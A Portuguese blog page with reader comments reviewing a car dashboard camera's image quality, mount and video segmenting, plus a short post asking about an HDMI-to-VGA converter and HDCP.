    Aparentemente não é possível trocar a lente da câmera. Pelo menos não sem desmontá-la.

  • Jefferson - 6.606 Comentários

    Eu achei a qualidade da imagem muito boa, mas o algoritmo usado pela câmera "mata" as placas. Só é possível ler o que está escrito em uma sob condições muito específicas, mesmo num dia ensolarado e quando o veículo está parado na sua frente.

    Outro problema é que essa câmera captura em 4:3 e em um carro é muito mais apropriado fazer uma captura widescreen. Pelo menos 30% da imagem na vertical poderia ser descartada, economizando bastante espaço no cartão, sem afetar em nada a utilidade da filmagem. Eu mesmo não espero ser atingido por um avião ;)

  • Jefferson - 6.606 Comentários

    Eu não gostei da forma como a câmera é montada. Não existe um engate que permita tirar e colocar a câmera sem afetar o posicionamento. Para retirar você precisa desenroscar.

    No verão aqui no NE e de dia, eu sou obrigado a remover o suporte inteiro de qualquer forma, porque se eu deixar estacionado sob o sol com a ventosa no lugar vai derreter tudo (aconteceu com o GPS). Porém à noite e no inverno eu gostaria de ter a opção de remover a câmera sem mexer no suporte.

    Por conta desse problema e, mais importante, do problema de leitura de placas, minha próxima experiência será com esta:
    http://www.dealextreme.com/p/3-0m-pixel-high-resolution-vehicle-mount-video-recorder-camcorder-w-sd-card-slot-tv-out-timestamp-44984
    Nessa, mesmo em um dia chuvoso e em 360p ainda é possível visualizar a placa do automóvel em frente, como pode ser visto aqui.
    http://www.youtube.com/watch?v=OB6sXjmEuCk
    E isso depois da recompressão feita pelo Youtube.

  • Jefferson - 6.606 Comentários

    Eu achei que dividir a filmagem em segmentos de 2min não seria problema porque unir os segmentos em um filme completo seria trivial. Não é.

    O Virtualdub se nega a fazer a união ("Append Segment") acusando que as framerates dos segmentos são diferentes. E esse problema acontece em todas as transições.

  • Meu deslocamento pro trabalho é feito de moto, se eu colocasse uma câmera semelhante a essa no meu capacete dava para postar um vídeo por dia com barbeiragens e infrações no trânsito. E olha que o trajeto é de apenas 30 Km (ida e volta).

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] PC, PS3, XBOX360 HDMI to VGA audio HDTV video converter

Isto aqui parece interessante:

PC PS3 XBOX360 HDMI to VGA Audio HDTV Video Converter $40.17 FS&H @ GoodLuckBuy.com

Menciona HDCP, o que já é alguma coisa. Mas falta ter certeza de que faz a conversão mesmo que a fonte tenha HDCP ativo. Obviamente esse tipo de coisa não pode ter “marca e modelo” por isso é difícil obter informações no Google. Só restam os reviews, que a Goodluckbuy não tem.

A DX tinha um produto similar:
http://www.dealextreme.com/p/hdmi-to-vga-ypbpr-converter-black-150cm-length-41651

Mas estou esperando que enviem desde novembro.

     

4 comentários
Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »